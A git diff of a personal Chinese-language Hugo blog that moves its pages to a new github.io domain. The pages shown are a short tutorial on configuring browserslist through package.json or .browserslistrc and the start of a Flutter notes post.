content="browserslist的简单配置"><meta property="og:description" content="browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
 browserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作
 npx browserslist可查看根据条件输出的浏览器列表
 查看全球用户份额大于0.2%的浏览器
@@ -29,9 +29,9 @@
 and就是和，or是或者
 browserslist的配置
 package.json（browserslist官方推荐用这个）
-&#34;browserslist&#34;: [
'> 0.2%',
'last 1 Chrome versions'
'not dead'
]
或者写成
-&#34;browserslist&#34;: [
'> 0.2% and last 1 Chrome versions and not dead',
]
.browserslistrc
-> 0.2% and last 1 Chrome versions and not dead
browserslist数据的优先级：当前项目的package."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/140/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-03-12T10:00:00+00:00"><meta property="article:modified_time" content="2022-03-12T10:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="browserslist的简单配置"><meta name=twitter:description content="browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
+&#34;browserslist&#34;: [ '> 0.2%', 'last 1 Chrome versions' 'not dead' ] 或者写成
+&#34;browserslist&#34;: [ '> 0.2% and last 1 Chrome versions and not dead', ] .browserslistrc
+> 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/140/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-03-12T10:00:00+00:00"><meta property="article:modified_time" content="2022-03-12T10:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="browserslist的简单配置"><meta name=twitter:description content="browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
 browserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作
 npx browserslist可查看根据条件输出的浏览器列表
 查看全球用户份额大于0.2%的浏览器
@@ -45,30 +45,30 @@
 and就是和，or是或者
 browserslist的配置
 package.json（browserslist官方推荐用这个）
-&#34;browserslist&#34;: [
'> 0.2%',
'last 1 Chrome versions'
'not dead'
]
或者写成
-&#34;browserslist&#34;: [
'> 0.2% and last 1 Chrome versions and not dead',
]
.browserslistrc
-> 0.2% and last 1 Chrome versions and not dead
browserslist数据的优先级：当前项目的package."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"browserslist的简单配置","item":"https://xiaochenabc123.github.io/posts/140/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"browserslist的简单配置","name":"browserslist的简单配置","description":"browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中\nbrowserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作\nnpx browserslist可查看根据条件输出的浏览器列表\n查看全球用户份额大于0.2%的浏览器\nnpx browserslist \u0026ldquo;\u0026gt; 0.2%\u0026rdquo;\n查询Chrome最新1个版本\nnpx browserslist \u0026ldquo;last 1 Chrome versions\u0026rdquo;\n查看browserslist的默认配置\nnpx browserslist \u0026ldquo;defaults\u0026rdquo;\nbrowserslist的默认配置为\u0026gt; 0.5% and last 2 versions adn Firefox ESR and not dead\nnot dead的意思是不输出官方不再维护的浏览器（例如ie10），dead是不维护，not是不输出\nand就是和，or是或者\nbrowserslist的配置\npackage.json（browserslist官方推荐用这个）\n\u0026quot;browserslist\u0026quot;: [\r'\u0026gt; 0.2%',\r'last 1 Chrome versions'\r'not dead'\r]\r或者写成\n\u0026quot;browserslist\u0026quot;: [\r'\u0026gt; 0.2% and last 1 Chrome versions and not dead',\r]\r.browserslistrc\n\u0026gt; 0.2% and last 1 Chrome versions and not dead\rbrowserslist数据的优先级：当前项目的package.","keywords":["npm","browserslist"],"articleBody":"browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中\nbrowserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作\nnpx browserslist可查看根据条件输出的浏览器列表\n查看全球用户份额大于0.2%的浏览器\nnpx browserslist “\u003e 0.2%”\n查询Chrome最新1个版本\nnpx browserslist “last 1 Chrome versions”\n查看browserslist的默认配置\nnpx browserslist “defaults”\nbrowserslist的默认配置为\u003e 0.5% and last 2 versions adn Firefox ESR and not dead\nnot dead的意思是不输出官方不再维护的浏览器（例如ie10），dead是不维护，not是不输出\nand就是和，or是或者\nbrowserslist的配置\npackage.json（browserslist官方推荐用这个）\n\"browserslist\": [\r'\u003e 0.2%',\r'last 1 Chrome versions'\r'not dead'\r]\r或者写成\n\"browserslist\": [\r'\u003e 0.2% and last 1 Chrome versions and not dead',\r]\r.browserslistrc\n\u003e 0.2% and last 1 Chrome versions and not dead\rbrowserslist数据的优先级：当前项目的package.json的browserslist，当前项目的.browserslistrc，BROWSERSLIST环境变量，browserslist的defaults\n另外还可以设置development（开发环境），production（生产环境的配置），例如：\n\"browserslist\": [\r'development':[\r'last 1 Chrome versions',\r'last 1 firefox versions',\r'last 1 safari versions',\r'\u003e 5%',\r],\r'production': [\r'not dead'\r]\r]\r","wordCount":"99","inLanguage":"en","datePublished":"2022-03-12T10:00:00Z","dateModified":"2022-03-12T10:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/140/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>browserslist的简单配置</h1><div class=post-meta><span title='2022-03-12 10:00:00 +0000 UTC'>2022-03-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/browserslist%e7%9a%84%e7%ae%80%e5%8d%95%e9%85%8d%e7%bd%ae.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中</p><p>browserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作</p><p>npx browserslist可查看根据条件输出的浏览器列表</p><p>查看全球用户份额大于0.2%的浏览器</p><p>npx browserslist &ldquo;> 0.2%&rdquo;</p><p>查询Chrome最新1个版本</p><p>npx browserslist &ldquo;last 1 Chrome versions&rdquo;</p><p>查看browserslist的默认配置</p><p>npx browserslist &ldquo;defaults&rdquo;</p><p>browserslist的默认配置为> 0.5% and last 2 versions adn Firefox ESR and not dead</p><p>not dead的意思是不输出官方不再维护的浏览器（例如ie10），dead是不维护，not是不输出</p><p>and就是和，or是或者</p><p>browserslist的配置</p><p>package.json（browserslist官方推荐用这个）</p><pre><code>&quot;browserslist&quot;: [
-    '&gt; 0.2%',
-    'last 1 Chrome versions'
-    'not dead'
-]
-</code></pre><p>或者写成</p><pre><code>&quot;browserslist&quot;: [
-    '&gt; 0.2% and last 1 Chrome versions and not dead',
-]
-</code></pre><p>.browserslistrc</p><pre><code>&gt; 0.2% and last 1 Chrome versions and not dead
-</code></pre><p>browserslist数据的优先级：当前项目的package.json的browserslist，当前项目的.browserslistrc，BROWSERSLIST环境变量，browserslist的defaults</p><p>另外还可以设置development（开发环境），production（生产环境的配置），例如：</p><pre><code>&quot;browserslist&quot;: [
-    'development':[
-        'last 1 Chrome versions',
-        'last 1 firefox versions',
-        'last 1 safari versions',
-        '&gt; 5%',
-    ],
-    'production': [
-        'not dead'
-    ]
-]
-</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/npm/>npm</a></li><li><a href=https://xiaochenabc123.github.io/tags/browserslist/>browserslist</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/141/><span class=title>« Prev</span><br><span>Flutter框架学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/138/><span class=title>Next »</span><br><span>简单使用Express-Web应用框架</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+&#34;browserslist&#34;: [ '> 0.2%', 'last 1 Chrome versions' 'not dead' ] 或者写成
+&#34;browserslist&#34;: [ '> 0.2% and last 1 Chrome versions and not dead', ] .browserslistrc
+> 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"browserslist的简单配置","item":"https://chenjunlinabc.github.io/posts/140/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"browserslist的简单配置","name":"browserslist的简单配置","description":"browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中\nbrowserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作\nnpx browserslist可查看根据条件输出的浏览器列表\n查看全球用户份额大于0.2%的浏览器\nnpx browserslist \u0026ldquo;\u0026gt; 0.2%\u0026rdquo;\n查询Chrome最新1个版本\nnpx browserslist \u0026ldquo;last 1 Chrome versions\u0026rdquo;\n查看browserslist的默认配置\nnpx browserslist \u0026ldquo;defaults\u0026rdquo;\nbrowserslist的默认配置为\u0026gt; 0.5% and last 2 versions adn Firefox ESR and not dead\nnot dead的意思是不输出官方不再维护的浏览器（例如ie10），dead是不维护，not是不输出\nand就是和，or是或者\nbrowserslist的配置\npackage.json（browserslist官方推荐用这个）\n\u0026quot;browserslist\u0026quot;: [ '\u0026gt; 0.2%', 'last 1 Chrome versions' 'not dead' ] 或者写成\n\u0026quot;browserslist\u0026quot;: [ '\u0026gt; 0.2% and last 1 Chrome versions and not dead', ] .browserslistrc\n\u0026gt; 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package.","keywords":["npm","browserslist"],"articleBody":"browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中\nbrowserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作\nnpx browserslist可查看根据条件输出的浏览器列表\n查看全球用户份额大于0.2%的浏览器\nnpx browserslist “\u003e 0.2%”\n查询Chrome最新1个版本\nnpx browserslist “last 1 Chrome versions”\n查看browserslist的默认配置\nnpx browserslist “defaults”\nbrowserslist的默认配置为\u003e 0.5% and last 2 versions adn Firefox ESR and not dead\nnot dead的意思是不输出官方不再维护的浏览器（例如ie10），dead是不维护，not是不输出\nand就是和，or是或者\nbrowserslist的配置\npackage.json（browserslist官方推荐用这个）\n\"browserslist\": [ '\u003e 0.2%', 'last 1 Chrome versions' 'not dead' ] 或者写成\n\"browserslist\": [ '\u003e 0.2% and last 1 Chrome versions and not dead', ] .browserslistrc\n\u003e 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package.json的browserslist，当前项目的.browserslistrc，BROWSERSLIST环境变量，browserslist的defaults\n另外还可以设置development（开发环境），production（生产环境的配置），例如：\n\"browserslist\": [ 'development':[ 'last 1 Chrome versions', 'last 1 firefox versions', 'last 1 safari versions', '\u003e 5%', ], 'production': [ 'not dead' ] ] ","wordCount":"99","inLanguage":"en","datePublished":"2022-03-12T10:00:00Z","dateModified":"2022-03-12T10:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/140/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>browserslist的简单配置</h1><div class=post-meta><span title='2022-03-12 10:00:00 +0000 UTC'>2022-03-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/browserslist%e7%9a%84%e7%ae%80%e5%8d%95%e9%85%8d%e7%bd%ae.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中</p><p>browserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作</p><p>npx browserslist可查看根据条件输出的浏览器列表</p><p>查看全球用户份额大于0.2%的浏览器</p><p>npx browserslist &ldquo;> 0.2%&rdquo;</p><p>查询Chrome最新1个版本</p><p>npx browserslist &ldquo;last 1 Chrome versions&rdquo;</p><p>查看browserslist的默认配置</p><p>npx browserslist &ldquo;defaults&rdquo;</p><p>browserslist的默认配置为> 0.5% and last 2 versions adn Firefox ESR and not dead</p><p>not dead的意思是不输出官方不再维护的浏览器（例如ie10），dead是不维护，not是不输出</p><p>and就是和，or是或者</p><p>browserslist的配置</p><p>package.json（browserslist官方推荐用这个）</p><pre><code>&quot;browserslist&quot;: [
+    '&gt; 0.2%',
+    'last 1 Chrome versions'
+    'not dead'
+]
+</code></pre><p>或者写成</p><pre><code>&quot;browserslist&quot;: [
+    '&gt; 0.2% and last 1 Chrome versions and not dead',
+]
+</code></pre><p>.browserslistrc</p><pre><code>&gt; 0.2% and last 1 Chrome versions and not dead
+</code></pre><p>browserslist数据的优先级：当前项目的package.json的browserslist，当前项目的.browserslistrc，BROWSERSLIST环境变量，browserslist的defaults</p><p>另外还可以设置development（开发环境），production（生产环境的配置），例如：</p><pre><code>&quot;browserslist&quot;: [
+    'development':[
+        'last 1 Chrome versions',
+        'last 1 firefox versions',
+        'last 1 safari versions',
+        '&gt; 5%',
+    ],
+    'production': [
+        'not dead'
+    ]
+]
+</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/npm/>npm</a></li><li><a href=https://chenjunlinabc.github.io/tags/browserslist/>browserslist</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/141/><span class=title>« Prev</span><br><span>Flutter框架学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/138/><span class=title>Next »</span><br><span>简单使用Express-Web应用框架</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/141/index.html b/posts/141/index.html
index 5899b83e..d93b2cb6 100644
--- a/posts/141/index.html
+++ b/posts/141/index.html
@@ -33,8 +33,8 @@
 运行后可以看到一个title以及内容都为Hallo word的app
 flutter自带了可视化工具，Dart DevTools
 自己写一个main.dart
-void main() => runApp(MyApp());
class MyApp extends StatelessWidget{
@override
Widget build(BuildContext context){
return MaterialApp(
title: &#34;hallo word&#34;, // app的title
theme: ThemeData(
primarySwatch: Colors."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/141/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Flutter框架学习笔记"><meta property="og:description" content="Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
+void main() => runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: &#34;hallo word&#34;, // app的title theme: ThemeData( primarySwatch: Colors."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/141/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Flutter框架学习笔记"><meta property="og:description" content="Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
 闲鱼和Now直播，美团，快手都使用了Flutter
 获取Flutter
 https://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip
@@ -69,7 +69,7 @@
 运行后可以看到一个title以及内容都为Hallo word的app
 flutter自带了可视化工具，Dart DevTools
 自己写一个main.dart
-void main() => runApp(MyApp());
class MyApp extends StatelessWidget{
@override
Widget build(BuildContext context){
return MaterialApp(
title: &#34;hallo word&#34;, // app的title
theme: ThemeData(
